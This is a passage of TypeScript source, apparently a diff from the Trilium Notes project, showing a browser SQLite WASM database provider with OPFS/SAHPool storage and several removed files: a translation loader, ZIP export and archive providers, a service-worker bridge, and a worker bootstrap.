// If toggleState is undefined, enable pluck mode (better-sqlite3 behavior)
this.isPluckMode = toggleState !== undefined ? toggleState : true;
return this;
}
/**
* Detect the prefix used for a parameter name in the SQL query.
* SQLite supports @name, :name, and $name parameter styles.
* Returns the prefix character, or ':' as default if not found.
*/
private detectParamPrefix(paramName: string): string {
// Search for the parameter with each possible prefix
for (const prefix of [':', '@', '$']) {
// Use word boundary to avoid partial matches
const pattern = new RegExp(`\\${prefix}${paramName}(?![a-zA-Z0-9_])`);
if (pattern.test(this.sql)) {
return prefix;
}
}
// Default to ':' if not found (most common in Trilium)
return ':';
}
private bindParams(params: unknown[]): void {
this.stmt.clearBindings();
if (params.length === 0) {
return;
}
// Handle single object with named parameters
if (params.length === 1 && typeof params[0] === "object" && params[0] !== null && !Array.isArray(params[0])) {
const inputBindings = params[0] as { [paramName: string]: BindableValue };
// SQLite WASM expects parameter names to include the prefix (@ : or $)
// We detect the prefix used in the SQL for each parameter
const bindings: { [paramName: string]: BindableValue } = {};
for (const [key, value] of Object.entries(inputBindings)) {
// If the key already has a prefix, use it as-is
if (key.startsWith('@') || key.startsWith(':') || key.startsWith('$')) {
bindings[key] = value;
} else {
// Detect the prefix used in the SQL and apply it
const prefix = this.detectParamPrefix(key);
bindings[`${prefix}${key}`] = value;
}
}
this.stmt.bind(bindings);
} else {
// Handle positional parameters - flatten and cast to BindableValue[]
const flatParams = params.flat() as BindableValue[];
if (flatParams.length > 0) {
this.stmt.bind(flatParams);
}
}
}
finalize(): void {
if (!this.isFinalized) {
try {
this.stmt.finalize();
} catch (e) {
console.warn("Error finalizing SQLite statement:", e);
} finally {
this.isFinalized = true;
}
}
}
}
/**
* SQLite database provider for browser environments using SQLite WASM.
*
* This provider wraps the official @sqlite.org/sqlite-wasm package to provide
* a DatabaseProvider implementation compatible with trilium-core.
*
* @example
* ```typescript
* const provider = new BrowserSqlProvider();
* await provider.initWasm(); // Initialize SQLite WASM module
* provider.loadFromMemory(); // Open an in-memory database
* // or
* provider.loadFromBuffer(existingDbBuffer); // Load from existing data
* ```
*/
export default class BrowserSqlProvider implements DatabaseProvider {
private db?: Sqlite3Database;
private sqlite3?: Sqlite3Module;
private _inTransaction = false;
private initPromise?: Promise<void>;
private initError?: Error;
private statementCache: Map<string, WasmStatement> = new Map();
// OPFS state tracking
private opfsDbPath?: string;
// SAHPool state tracking
private sahPoolUtil?: SAHPoolUtil;
private sahPoolDbName?: string;
/**
* Get the SQLite WASM module version info.
* Returns undefined if the module hasn't been initialized yet.
*/
get version(): { libVersion: string; sourceId: string } | undefined {
return this.sqlite3?.version;
}
/**
* Initialize the SQLite WASM module.
* This must be called before using any database operations.
* Safe to call multiple times - subsequent calls return the same promise.
*
* @returns A promise that resolves when the module is initialized
* @throws Error if initialization fails
*/
async initWasm(): Promise<void> {
// Return existing promise if already initializing/initialized
if (this.initPromise) {
return this.initPromise;
}
// Fail fast if we already tried and failed
if (this.initError) {
throw this.initError;
}
this.initPromise = this.doInitWasm();
return this.initPromise;
}
private async doInitWasm(): Promise<void> {
try {
console.log("[BrowserSqlProvider] Initializing SQLite WASM...");
const startTime = performance.now();
this.sqlite3 = await sqlite3InitModule({
print: console.log,
printErr: console.error,
});
const initTime = performance.now() - startTime;
console.log(
`[BrowserSqlProvider] SQLite WASM initialized in ${initTime.toFixed(2)}ms:`,
this.sqlite3.version.libVersion
);
} catch (e) {
this.initError = e instanceof Error ? e : new Error(String(e));
console.error("[BrowserSqlProvider] SQLite WASM initialization failed:", this.initError);
throw this.initError;
}
}
/**
* Check if the SQLite WASM module has been initialized.
*/
get isInitialized(): boolean {
return this.sqlite3 !== undefined;
}
// ==================== SAHPool VFS (preferred OPFS backend) ====================
/**
* Install the OPFS SAHPool VFS. This pre-allocates a pool of OPFS
* SyncAccessHandle objects, enabling WAL mode and significantly faster
* writes compared to the legacy OPFS VFS.
*
* Must be called after `initWasm()` and before `loadFromSahPool()`.
* This is async because it acquires OPFS file handles.
*
* Unlike the legacy OPFS VFS, SAHPool does **not** require SharedArrayBuffer
* or COOP/COEP headers — it only needs OPFS itself (a Worker context with
* `navigator.storage.getDirectory`). This makes it usable in Capacitor's
* Android WebView, which doesn't support cross-origin isolation.
*
* @param options.directory - OPFS directory for the pool (default: auto-derived from VFS name)
* @param options.initialCapacity - Minimum number of file slots (default: 6)
* @throws Error if the environment doesn't support OPFS (no Worker, or no OPFS API)
*/
async installSahPool(options: { directory?: string; initialCapacity?: number } = {}): Promise<void> {
this.ensureSqlite3();
console.log("[BrowserSqlProvider] Installing OPFS SAHPool VFS...");
const startTime = performance.now();
this.sahPoolUtil = await this.sqlite3!.installOpfsSAHPoolVfs({
clearOnInit: false,
initialCapacity: options.initialCapacity ?? 6,
directory: options.directory,
});
// Ensure enough slots for DB + WAL + journal + temp files
await this.sahPoolUtil.reserveMinimumCapacity(options.initialCapacity ?? 6);
const initTime = performance.now() - startTime;
console.log(
`[BrowserSqlProvider] SAHPool VFS installed in ${initTime.toFixed(2)}ms ` +
`(capacity: ${this.sahPoolUtil.getCapacity()}, files: ${this.sahPoolUtil.getFileCount()})`
);
}
/**
* Whether the SAHPool VFS has been successfully installed.
*/
get isSahPoolInstalled(): boolean {
return this.sahPoolUtil !== undefined;
}
/**
* Access the SAHPool utility for advanced operations (import/export/migration).
*/
get sahPool(): SAHPoolUtil | undefined {
return this.sahPoolUtil;
}
/**
* Load or create a database using the SAHPool VFS.
* This is the preferred method for persistent storage — it supports WAL mode
* and is significantly faster than the legacy OPFS VFS.
*
* @param dbName - Virtual filename within the pool (e.g., "/trilium.db").
* Must start with a slash.
* @throws Error if SAHPool VFS is not installed
*/
loadFromSahPool(dbName: string): void {
this.ensureSqlite3();
if (!this.sahPoolUtil) {
throw new Error(
"SAHPool VFS not installed. Call installSahPool() first."
);
}
console.log(`[BrowserSqlProvider] Loading database from SAHPool: ${dbName}`);
const startTime = performance.now();
try {
this.db = new this.sahPoolUtil.OpfsSAHPoolDb(dbName);
this.sahPoolDbName = dbName;
this.opfsDbPath = undefined;
// SAHPool supports WAL mode — the key advantage over legacy OPFS VFS
this.db.exec("PRAGMA journal_mode = WAL");
this.db.exec("PRAGMA synchronous = NORMAL");
const loadTime = performance.now() - startTime;
console.log(`[BrowserSqlProvider] SAHPool database loaded in ${loadTime.toFixed(2)}ms (WAL mode)`);
} catch (e) {
const error = e instanceof Error ? e : new Error(String(e));
console.error(`[BrowserSqlProvider] Failed to load SAHPool database: ${error.message}`);
throw error;
}
}
/**
* Whether the currently open database is using the SAHPool VFS.
*/
get isUsingSahPool(): boolean {
return this.sahPoolDbName !== undefined;
}
// ==================== Legacy OPFS Support ====================
/**
* Check if the legacy OPFS VFS is available.
* This requires:
* - Running in a Worker context
* - Browser support for OPFS APIs
* - COOP/COEP headers sent by the server (for SharedArrayBuffer)
*
* @returns true if legacy OPFS VFS is available for use
*/
isOpfsAvailable(): boolean {
this.ensureSqlite3();
// SQLite WASM automatically installs the OPFS VFS if the environment supports it
// We can check for its presence via sqlite3_vfs_find or the OpfsDb class
return this.sqlite3!.oo1.OpfsDb !== undefined;
}
/**
* Load or create a database stored in OPFS for persistent storage.
*
* **Prefer `loadFromSahPool()` over this method** — it supports WAL mode
* and is significantly faster. This method is kept for migration purposes.
* The database will persist across browser sessions.
*
* Requires COOP/COEP headers to be set by the server:
* - Cross-Origin-Opener-Policy: same-origin
* - Cross-Origin-Embedder-Policy: require-corp
*
* @param path - The path for the database file in OPFS (e.g., "/trilium.db")
* Paths without a leading slash are treated as relative to OPFS root.
* Leading directories are created automatically.
* @param options - Additional options
* @throws Error if OPFS VFS is not available
*
* @example
* ```typescript
* const provider = new BrowserSqlProvider();
* await provider.initWasm();
* if (provider.isOpfsAvailable()) {
* provider.loadFromOpfs("/my-database.db");
* } else {
* console.warn("OPFS not available, using in-memory database");
* provider.loadFromMemory();
* }
* ```
*/
loadFromOpfs(path: string, options: { createIfNotExists?: boolean } = {}): void {
this.ensureSqlite3();
if (!this.isOpfsAvailable()) {
throw new Error(
"OPFS VFS is not available. This requires:\n" +
"1. Running in a Worker context\n" +
"2. Browser support for OPFS (Chrome 102+, Firefox 111+, Safari 17+)\n" +
"3. COOP/COEP headers from the server:\n" +
" Cross-Origin-Opener-Policy: same-origin\n" +
" Cross-Origin-Embedder-Policy: require-corp"
);
}
console.log(`[BrowserSqlProvider] Loading database from OPFS: ${path}`);
const startTime = performance.now();
try {
// OpfsDb automatically creates directories in the path
// Mode 'c' = create if not exists
const mode = options.createIfNotExists !== false ? 'c' : '';
this.db = new this.sqlite3!.oo1.OpfsDb(path, mode);
this.opfsDbPath = path;
this.sahPoolDbName = undefined;
// Configure the database for legacy OPFS
// Note: WAL mode is not supported by the legacy OPFS VFS
this.db.exec("PRAGMA journal_mode = DELETE");
this.db.exec("PRAGMA synchronous = NORMAL");
const loadTime = performance.now() - startTime;
console.log(`[BrowserSqlProvider] OPFS database loaded in ${loadTime.toFixed(2)}ms`);
} catch (e) {
const error = e instanceof Error ? e : new Error(String(e));
console.error(`[BrowserSqlProvider] Failed to load OPFS database: ${error.message}`);
throw error;
}
}
/**
* Check if the currently open database is stored in OPFS (legacy or SAHPool).
*/
get isUsingOpfs(): boolean {
return this.opfsDbPath !== undefined || this.sahPoolDbName !== undefined;
}
/**
* Get the OPFS path of the currently open database.
* Returns undefined if not using OPFS.
*/
get currentOpfsPath(): string | undefined {
return this.opfsDbPath ?? this.sahPoolDbName;
}
/**
* Check if the database has been initialized with a schema.
* This is a simple sanity check that looks for the existence of core tables.
*
* @returns true if the database appears to be initialized
*/
isDbInitialized(): boolean {
this.ensureDb();
// Check if the 'notes' table exists (a core table that must exist in an initialized DB)
const tableExists = this.db!.selectValue(
"SELECT name FROM sqlite_master WHERE type = 'table' AND name = 'notes'"
);
return tableExists !== undefined;
}
// ==================== End OPFS Support ====================
loadFromFile(_path: string, _isReadOnly: boolean): void {
// Browser environment doesn't have direct file system access.
// Use SAHPool or OPFS for persistent storage.
throw new Error(
"loadFromFile is not supported in browser environment. " +
"Use loadFromMemory() for temporary databases, loadFromBuffer() to load from data, " +
"loadFromSahPool() (preferred) or loadFromOpfs() for persistent storage."
);
}
/**
* Create an empty in-memory database.
* Data will be lost when the page is closed.
*
* For persistent storage, use loadFromOpfs() instead.
* To load demo data, call initializeDemoDatabase() after this.
*/
loadFromMemory(): void {
this.ensureSqlite3();
console.log("[BrowserSqlProvider] Creating in-memory database...");
const startTime = performance.now();
this.db = new this.sqlite3!.oo1.DB(":memory:", "c");
this.opfsDbPath = undefined;
this.sahPoolDbName = undefined;
this.db.exec("PRAGMA journal_mode = WAL");
const loadTime = performance.now() - startTime;
console.log(`[BrowserSqlProvider] In-memory database created in ${loadTime.toFixed(2)}ms`);
}
loadFromBuffer(buffer: Uint8Array): void {
this.ensureSqlite3();
// SQLite WASM's allocFromTypedArray rejects Node's Buffer (and other
// non-Uint8Array typed arrays) with "expecting 8/16/32/64". Normalize
// to a plain Uint8Array view over the same memory so callers can pass
// anything readFileSync returns.
const view = buffer instanceof Uint8Array && buffer.constructor === Uint8Array
? buffer
: new Uint8Array(buffer.buffer, buffer.byteOffset, buffer.byteLength);
const p = this.sqlite3!.wasm.allocFromTypedArray(view);
try {
// Cached statements reference the previous DB and become invalid
// once we swap connections. Drop them so callers re-prepare.
this.clearStatementCache();
this.db = new this.sqlite3!.oo1.DB({ filename: ":memory:", flags: "c" });
this.opfsDbPath = undefined;
this.sahPoolDbName = undefined;
const rc = this.sqlite3!.capi.sqlite3_deserialize(
this.db.pointer!,
"main",
p,
view.byteLength,
view.byteLength,
this.sqlite3!.capi.SQLITE_DESERIALIZE_FREEONCLOSE |
this.sqlite3!.capi.SQLITE_DESERIALIZE_RESIZEABLE
);
if (rc !== 0) {
throw new Error(`Failed to deserialize database: ${rc}`);
}
} catch (e) {
this.sqlite3!.wasm.dealloc(p);
throw e;
}
}
backup(_destinationFile: string): void {
// In browser, we can serialize the database to a byte array
// For actual file backup, we'd need to use File System Access API or download
throw new Error(
"backup to file is not supported in browser environment. " +
"Use serialize() to get the database as a Uint8Array instead."
);
}
/**
* Serialize the database to a byte array.
* This can be used to save the database to IndexedDB, download it, etc.
*/
serialize(): Uint8Array {
this.ensureDb();
// Use the convenience wrapper which handles all the memory management
return this.sqlite3!.capi.sqlite3_js_db_export(this.db!);
}
prepare(query: string): Statement {
this.ensureDb();
// Check if we already have this statement cached
if (this.statementCache.has(query)) {
return this.statementCache.get(query)!;
}
// Create new statement and cache it
const stmt = this.db!.prepare(query);
const wasmStatement = new WasmStatement(stmt, this.db!, this.sqlite3!, query);
this.statementCache.set(query, wasmStatement);
return wasmStatement;
}
transaction<T>(func: (statement: Statement) => T): Transaction {
this.ensureDb();
const self = this;
let savepointCounter = 0;
// Helper function to execute within a transaction
const executeTransaction = (beginStatement: string, ...args: unknown[]): T => {
// If we're already in a transaction (either tracked via JS flag or via actual SQLite
// autocommit state), use SAVEPOINTs for nesting — this handles the case where a manual
// BEGIN was issued directly (e.g. transactionalAsync) without going through transaction().
const sqliteInTransaction = self.db?.pointer !== undefined
&& (self.sqlite3!.capi as any).sqlite3_get_autocommit(self.db!.pointer) === 0;
if (self._inTransaction || sqliteInTransaction) {
const savepointName = `sp_${++savepointCounter}_${Date.now()}`;
self.db!.exec(`SAVEPOINT ${savepointName}`);
try {
const result = func.apply(null, args as [Statement]);
self.db!.exec(`RELEASE SAVEPOINT ${savepointName}`);
return result;
} catch (e) {
self.db!.exec(`ROLLBACK TO SAVEPOINT ${savepointName}`);
throw e;
}
}
// Not in a transaction, start a new one
self._inTransaction = true;
self.db!.exec(beginStatement);
try {
const result = func.apply(null, args as [Statement]);
self.db!.exec("COMMIT");
return result;
} catch (e) {
self.db!.exec("ROLLBACK");
throw e;
} finally {
self._inTransaction = false;
}
};
// Create the transaction function that acts like better-sqlite3's Transaction interface
// In better-sqlite3, the transaction function is callable and has .deferred(), .immediate(), etc.
const transactionWrapper = Object.assign(
// Default call executes with BEGIN (same as immediate)
(...args: unknown[]): T => executeTransaction("BEGIN", ...args),
{
// Deferred transaction - locks acquired on first data access
deferred: (...args: unknown[]): T => executeTransaction("BEGIN DEFERRED", ...args),
// Immediate transaction - acquires write lock immediately
immediate: (...args: unknown[]): T => executeTransaction("BEGIN IMMEDIATE", ...args),
// Exclusive transaction - exclusive lock
exclusive: (...args: unknown[]): T => executeTransaction("BEGIN EXCLUSIVE", ...args),
// Default is same as calling directly
default: (...args: unknown[]): T => executeTransaction("BEGIN", ...args)
}
);
return transactionWrapper as unknown as Transaction;
}
get inTransaction(): boolean {
return this._inTransaction;
}
exec(query: string): void {
this.ensureDb();
this.db!.exec(query);
}
private clearStatementCache(): void {
for (const statement of this.statementCache.values()) {
try {
statement.finalize();
} catch (e) {
// Ignore errors during cleanup
console.warn("Error finalizing statement during cleanup:", e);
}
}
this.statementCache.clear();
}
close(): void {
this.clearStatementCache();
if (this.db) {
this.db.close();
this.db = undefined;
}
// Reset OPFS / SAHPool state
this.opfsDbPath = undefined;
this.sahPoolDbName = undefined;
}
/**
* Get the number of rows changed by the last INSERT, UPDATE, or DELETE statement.
*/
changes(): number {
this.ensureDb();
return this.db!.changes();
}
/**
* Check if the database is currently open.
*/
isOpen(): boolean {
return this.db !== undefined && this.db.isOpen();
}
private ensureSqlite3(): void {
if (!this.sqlite3) {
throw new Error(
"SQLite WASM module not initialized. Call initialize() first with the sqlite3 module."
);
}
}
private ensureDb(): void {
this.ensureSqlite3();
if (!this.db) {
throw new Error(
"Database not opened. Call loadFromMemory(), loadFromBuffer(), " +
"loadFromSahPool(), or loadFromOpfs() first."
);
}
}
}

View File

@@ -1,16 +0,0 @@
import { LOCALE_IDS } from "@triliumnext/commons";
import type i18next from "i18next";
import I18NextHttpBackend from "i18next-http-backend";
export default async function translationProvider(i18nextInstance: typeof i18next, locale: LOCALE_IDS) {
await i18nextInstance.use(I18NextHttpBackend).init({
lng: locale,
fallbackLng: "en",
ns: "server",
backend: {
loadPath: `${import.meta.resolve("../server-assets/translations")}/{{lng}}/{{ns}}.json`
},
returnEmptyString: false,
debug: true
});
}

View File

@@ -1,18 +0,0 @@
import { type ExportFormat, type ZipExportProviderData, ZipExportProvider } from "@triliumnext/core";
import contentCss from "@triliumnext/ckeditor5/src/theme/ck-content.css?raw";
export async function standaloneZipExportProviderFactory(format: ExportFormat, data: ZipExportProviderData): Promise<ZipExportProvider> {
switch (format) {
case "html": {
const { default: HtmlExportProvider } = await import("@triliumnext/core/src/services/export/zip/html.js");
return new HtmlExportProvider(data, { contentCss });
}
case "markdown": {
const { default: MarkdownExportProvider } = await import("@triliumnext/core/src/services/export/zip/markdown.js");
return new MarkdownExportProvider(data);
}
default:
throw new Error(`Unsupported export format: '${format}'`);
}
}

View File

@@ -1,101 +0,0 @@
import type { FileStream, ZipArchive, ZipEntry, ZipProvider } from "@triliumnext/core/src/services/zip_provider.js";
import { strToU8, unzip, zipSync } from "fflate";
type ZipOutput = {
send?: (body: unknown) => unknown;
write?: (chunk: Uint8Array | string) => unknown;
end?: (chunk?: Uint8Array | string) => unknown;
};
class BrowserZipArchive implements ZipArchive {
readonly #entries: Record<string, Uint8Array> = {};
#destination: ZipOutput | null = null;
append(content: string | Uint8Array, options: { name: string }) {
this.#entries[options.name] = typeof content === "string" ? strToU8(content) : content;
}
pipe(destination: unknown) {
this.#destination = destination as ZipOutput;
}
async finalize(): Promise<void> {
if (!this.#destination) {
throw new Error("ZIP output destination not set.");
}
const content = zipSync(this.#entries, { level: 9 });
if (typeof this.#destination.send === "function") {
this.#destination.send(content);
return;
}
if (typeof this.#destination.end === "function") {
if (typeof this.#destination.write === "function") {
this.#destination.write(content);
this.#destination.end();
} else {
this.#destination.end(content);
}
return;
}
throw new Error("Unsupported ZIP output destination.");
}
}
export default class BrowserZipProvider implements ZipProvider {
createZipArchive(): ZipArchive {
return new BrowserZipArchive();
}
createFileStream(_filePath: string): FileStream {
throw new Error("File stream creation is not supported in the browser.");
}
readZipFile(
buffer: Uint8Array,
processEntry: (entry: ZipEntry, readContent: () => Promise<Uint8Array>) => Promise<void>
): Promise<void> {
return new Promise<void>((res, rej) => {
unzip(buffer, async (err, files) => {
if (err) { rej(err); return; }
try {
for (const [fileName, data] of Object.entries(files)) {
await processEntry(
{ fileName: decodeZipFileName(fileName) },
() => Promise.resolve(data)
);
}
res();
} catch (e) {
rej(e);
}
});
});
}
}
const utf8Decoder = new TextDecoder("utf-8", { fatal: true });
/**
* fflate decodes ZIP entry filenames as CP437/Latin-1 unless the language
* encoding flag (general purpose bit 11) is set, but many real-world archives
* (e.g. those produced by macOS / Linux unzip / Python's zipfile) write UTF-8
* filenames without setting that flag. Recover the original UTF-8 bytes from
* fflate's per-byte string and re-decode them; if the result isn't valid
* UTF-8 we fall back to the as-decoded name.
*/
function decodeZipFileName(name: string): string {
const bytes = new Uint8Array(name.length);
for (let i = 0; i < name.length; i++) {
bytes[i] = name.charCodeAt(i) & 0xff;
}
try {
return utf8Decoder.decode(bytes);
} catch {
return name;
}
}

View File

@@ -1,115 +0,0 @@
import LocalServerWorker from "./local-server-worker?worker";
let localWorker: Worker | null = null;
const pending = new Map();
function showFatalErrorDialog(message: string) {
alert(message);
}
export function startLocalServerWorker() {
if (localWorker) return localWorker;
localWorker = new LocalServerWorker();
localWorker.postMessage({ type: "INIT", queryString: location.search });
// Handle worker errors during initialization
localWorker.onerror = (event) => {
console.error("[LocalBridge] Worker error:", event);
// Reject all pending requests
for (const [, resolver] of pending) {
resolver.reject(new Error(`Worker error: ${event.message}`));
}
pending.clear();
};
localWorker.onmessage = (event) => {
const msg = event.data;
// Handle fatal platform crashes (shown as a dialog to the user)
if (msg?.type === "FATAL_ERROR") {
console.error("[LocalBridge] Fatal error:", msg.message);
showFatalErrorDialog(msg.message);
return;
}
// Handle worker error reports
if (msg?.type === "WORKER_ERROR") {
console.error("[LocalBridge] Worker reported error:", msg.error);
// Reject all pending requests with the error
for (const [, resolver] of pending) {
resolver.reject(new Error(msg.error?.message || "Unknown worker error"));
}
pending.clear();
return;
}
// Handle WebSocket-like messages from the worker (for frontend updates)
if (msg?.type === "WS_MESSAGE" && msg.message) {
// Dispatch a custom event that ws.ts listens to in standalone mode
window.dispatchEvent(new CustomEvent("trilium:ws-message", {
detail: msg.message
}));
return;
}
if (!msg || msg.type !== "LOCAL_RESPONSE") return;
const { id, response, error } = msg;
const resolver = pending.get(id);
if (!resolver) return;
pending.delete(id);
if (error) resolver.reject(new Error(error));
else resolver.resolve(response);
};
return localWorker;
}
export function attachServiceWorkerBridge() {
if (!("serviceWorker" in navigator) || !navigator.serviceWorker) {
console.warn("[LocalBridge] Service workers not available — skipping bridge setup");
return;
}
navigator.serviceWorker.addEventListener("message", async (event) => {
const msg = event.data;
if (!msg || msg.type !== "LOCAL_FETCH") return;
const port = event.ports && event.ports[0];
if (!port) return;
try {
startLocalServerWorker();
const id = msg.id;
const req = msg.request;
const response = await new Promise<{ body?: ArrayBuffer }>((resolve, reject) => {
pending.set(id, { resolve, reject });
// Transfer body to worker for efficiency (if present)
localWorker!.postMessage({
type: "LOCAL_REQUEST",
id,
request: req
}, req.body ? [req.body] : []);
});
port.postMessage({
type: "LOCAL_FETCH_RESPONSE",
id,
response
}, response.body ? [response.body] : []);
} catch (e: unknown) {
const errorMessage = e instanceof Error ? e.message : String(e);
port.postMessage({
type: "LOCAL_FETCH_RESPONSE",
id: msg.id,
response: {
status: 500,
headers: { "content-type": "text/plain; charset=utf-8" },
body: new TextEncoder().encode(errorMessage).buffer
}
});
}
});
}

View File

@@ -1,520 +0,0 @@
// =============================================================================
// ERROR HANDLERS FIRST - No static imports above this!
// ES modules hoist static imports, so they execute BEFORE any code runs.
// We use dynamic imports below to ensure error handlers are registered first.
// =============================================================================
self.onerror = (message, source, lineno, colno, error) => {
const errorMsg = `[Worker] Uncaught error: ${message}\n at ${source}:${lineno}:${colno}`;
console.error(errorMsg, error);
try {
self.postMessage({
type: "WORKER_ERROR",
error: {
message: String(message),
source,
lineno,
colno,
stack: error?.stack || new Error().stack
}
});
} catch (e) {
console.error("[Worker] Failed to report error:", e);
}
return false;
};
self.onunhandledrejection = (event) => {
const reason = event.reason;
const errorMsg = `[Worker] Unhandled rejection: ${reason?.message || reason}`;
console.error(errorMsg, reason);
try {
self.postMessage({
type: "WORKER_ERROR",
error: {
message: String(reason?.message || reason),
stack: reason?.stack || new Error().stack
}
});
} catch (e) {
console.error("[Worker] Failed to report rejection:", e);
}
};
console.log("[Worker] Error handlers installed, loading modules...");
// =============================================================================
// TYPE-ONLY IMPORTS (erased at runtime, safe as static imports)
// =============================================================================
import type { BrowserRouter } from './lightweight/browser_router';
// Build-time constant injected by Vite (see `define` in vite.config.mts).
declare const __TRILIUM_INTEGRATION_TEST__: string;
// =============================================================================
// MODULE STATE (populated by dynamic imports)
// =============================================================================
let BrowserSqlProvider: typeof import('./lightweight/sql_provider').default;
let WorkerMessagingProvider: typeof import('./lightweight/messaging_provider').default;
let BrowserExecutionContext: typeof import('./lightweight/cls_provider').default;
let BrowserCryptoProvider: typeof import('./lightweight/crypto_provider').default;
let BrowserZipProvider: typeof import('./lightweight/zip_provider').default;
let FetchRequestProvider: typeof import('./lightweight/request_provider').default;
let StandalonePlatformProvider: typeof import('./lightweight/platform_provider').default;
let StandaloneLogService: typeof import('./lightweight/log_provider').default;
let StandaloneBackupService: typeof import('./lightweight/backup_provider').default;
let translationProvider: typeof import('./lightweight/translation_provider').default;
let createConfiguredRouter: typeof import('./lightweight/browser_routes').createConfiguredRouter;
// Instance state
let sqlProvider: InstanceType<typeof BrowserSqlProvider> | null = null;
let messagingProvider: InstanceType<typeof WorkerMessagingProvider> | null = null;
// Core module, router, and initialization state
let coreModule: typeof import("@triliumnext/core") | null = null;
let router: BrowserRouter | null = null;
let initPromise: Promise<void> | null = null;
let initError: Error | null = null;
let queryString = "";
/**
* Check whether a file exists at the OPFS root. Used to decide whether the
* test fixture needs to be seeded or whether we should reuse the existing
* DB (preserving changes made earlier in the same test — e.g. options set
* before a page reload).
*/
async function opfsFileExists(fileName: string): Promise<boolean> {
if (typeof navigator === "undefined" || !navigator.storage?.getDirectory) {
return false;
}
const root = await navigator.storage.getDirectory();
try {
await root.getFileHandle(fileName);
return true;
} catch {
return false;
}
}
/**
* Write a raw byte buffer to an OPFS file. Used to drop the test fixture DB
* into OPFS as a regular file so SQLite's OPFS VFS can then open it. Requires
* a Worker context (`createSyncAccessHandle` isn't available on the main thread
* in some browsers).
*/
async function writeOpfsFile(fileName: string, buffer: Uint8Array): Promise<void> {
const root = await navigator.storage.getDirectory();
const fileHandle = await root.getFileHandle(fileName, { create: true });
const accessHandle = await (fileHandle as unknown as {
createSyncAccessHandle(): Promise<{
truncate(size: number): void;
write(buffer: Uint8Array, opts: { at: number }): number;
flush(): void;
close(): void;
}>;
}).createSyncAccessHandle();
try {
accessHandle.truncate(0);
accessHandle.write(buffer, { at: 0 });
accessHandle.flush();
} finally {
accessHandle.close();
}
}
/**
* Read a file from the OPFS root into a Uint8Array.
* Used during migration from legacy OPFS VFS to SAHPool.
*/
async function readOpfsFile(fileName: string): Promise<Uint8Array> {
const root = await navigator.storage.getDirectory();
const fileHandle = await root.getFileHandle(fileName);
const file = await fileHandle.getFile();
return new Uint8Array(await file.arrayBuffer());
}
/**
* Delete a file from the OPFS root.
* Used to clean up the legacy OPFS database after migration to SAHPool.
*/
async function deleteOpfsFile(fileName: string): Promise<void> {
const root = await navigator.storage.getDirectory();
await root.removeEntry(fileName);
}
/**
* Verify that a buffer contains a valid SQLite database by checking the
* 16-byte magic string "SQLite format 3\0".
*/
function assertSqliteMagic(buffer: Uint8Array, source: string): void {
const magic = new TextDecoder().decode(buffer.subarray(0, 15));
if (magic !== "SQLite format 3") {
throw new Error(
`${source} is not a SQLite database ` +
`(got ${buffer.byteLength} bytes starting with "${magic}"). ` +
`The file is likely missing and the SPA fallback is returning index.html.`
);
}
}
/**
* Migrate database from legacy OPFS VFS to SAHPool VFS.
* Checks if a legacy `/trilium.db` file exists in the OPFS root, and if the
* SAHPool doesn't already have it. If migration is needed, the legacy file is
* read, imported into the pool, and then deleted.
*/
async function migrateFromLegacyOpfs(dbName: string): Promise<void> {
const legacyFileName = dbName.replace(/^\//, ""); // strip leading slash
const legacyExists = await opfsFileExists(legacyFileName);
if (!legacyExists) {
return; // Nothing to migrate
}
// Check if SAHPool already has this DB (e.g. migration already happened)
const poolFiles = sqlProvider!.sahPool!.getFileNames();
if (poolFiles.includes(dbName)) {
console.log("[Worker] SAHPool already contains the database, deleting legacy OPFS file...");
await deleteOpfsFile(legacyFileName);
return;
}
console.log("[Worker] Migrating database from legacy OPFS to SAHPool VFS...");
const startTime = performance.now();
const buffer = await readOpfsFile(legacyFileName);
assertSqliteMagic(buffer, "Legacy OPFS database");
await sqlProvider!.sahPool!.importDb(dbName, buffer);
await deleteOpfsFile(legacyFileName);
// Also clean up legacy journal/WAL files if they exist
for (const suffix of ["-journal", "-wal", "-shm"]) {
try {
await deleteOpfsFile(legacyFileName + suffix);
} catch {
// Ignore — file may not exist
}
}
const elapsed = performance.now() - startTime;
console.log(`[Worker] Migration complete in ${elapsed.toFixed(2)}ms (${buffer.byteLength} bytes)`);
}
/**
* Load the test fixture database for integration tests.
* Seeds from the fixture if not already present, using SAHPool when available.
*/
async function loadTestDatabase(sahPoolAvailable: boolean, dbName: string): Promise<void> {
if (sahPoolAvailable) {
const poolFiles = sqlProvider!.sahPool!.getFileNames();
if (!poolFiles.includes(dbName)) {
console.log("[Worker] Integration test mode: seeding fixture database into SAHPool...");
const buffer = await fetchTestFixture();
await sqlProvider!.sahPool!.importDb(dbName, buffer);
} else {
console.log("[Worker] Integration test mode: reusing existing SAHPool DB from earlier in this test");
}
sqlProvider!.loadFromSahPool(dbName);
} else {
// Fallback to legacy OPFS for tests when SAHPool isn't available
const legacyFileName = dbName.replace(/^\//, "");
if (!(await opfsFileExists(legacyFileName))) {
console.log("[Worker] Integration test mode: seeding fixture database into OPFS...");
const buffer = await fetchTestFixture();
await writeOpfsFile(legacyFileName, buffer);
} else {
console.log("[Worker] Integration test mode: reusing existing OPFS DB from earlier in this test");
}
sqlProvider!.loadFromOpfs(dbName);
}
}
/**
* Fetch the test fixture database and validate it.
*/
async function fetchTestFixture(): Promise<Uint8Array> {
const response = await fetch("/test-fixtures/document.db");
if (!response.ok) {
throw new Error(`Failed to fetch test fixture: ${response.status} ${response.statusText}`);
}
const buffer = new Uint8Array(await response.arrayBuffer());
assertSqliteMagic(buffer, "Test fixture at /test-fixtures/document.db");
return buffer;
}
/**
* Load all required modules using dynamic imports.
* This allows errors to be caught by our error handlers.
*/
async function loadModules(): Promise<void> {
console.log("[Worker] Loading lightweight modules...");
const [
sqlModule,
messagingModule,
clsModule,
cryptoModule,
zipModule,
requestModule,
platformModule,
logModule,
backupModule,
translationModule,
routesModule
] = await Promise.all([
import('./lightweight/sql_provider.js'),
import('./lightweight/messaging_provider.js'),
import('./lightweight/cls_provider.js'),
import('./lightweight/crypto_provider.js'),
import('./lightweight/zip_provider.js'),
import('./lightweight/request_provider.js'),
import('./lightweight/platform_provider.js'),
import('./lightweight/log_provider.js'),
import('./lightweight/backup_provider.js'),
import('./lightweight/translation_provider.js'),
import('./lightweight/browser_routes.js')
]);
BrowserSqlProvider = sqlModule.default;
WorkerMessagingProvider = messagingModule.default;
BrowserExecutionContext = clsModule.default;
BrowserCryptoProvider = cryptoModule.default;
BrowserZipProvider = zipModule.default;
FetchRequestProvider = requestModule.default;
StandalonePlatformProvider = platformModule.default;
StandaloneLogService = logModule.default;
StandaloneBackupService = backupModule.default;
